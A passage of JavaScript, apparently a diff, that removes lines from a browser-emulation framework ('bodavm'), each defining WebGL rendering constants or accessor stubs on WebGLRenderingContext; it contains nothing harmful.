"RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferWidth", {configurable:true, enumerable:true, get:function drawingBufferWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferHeight", {configurable:true, enumerable:true, get:function drawingBufferHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferColorSpace", {configurable:true, enumerable:true, get:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_get", arguments)}, set:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "unpackColorSpace", {configurable:true, enumerable:true, get:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_get", arguments)}, set:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32770},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", {configurable:false, enumerable:true, writable:false, value:2305},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:34818},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", {configurable:false, enumerable:true, writable:false, value:4354},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512},'prototype'); 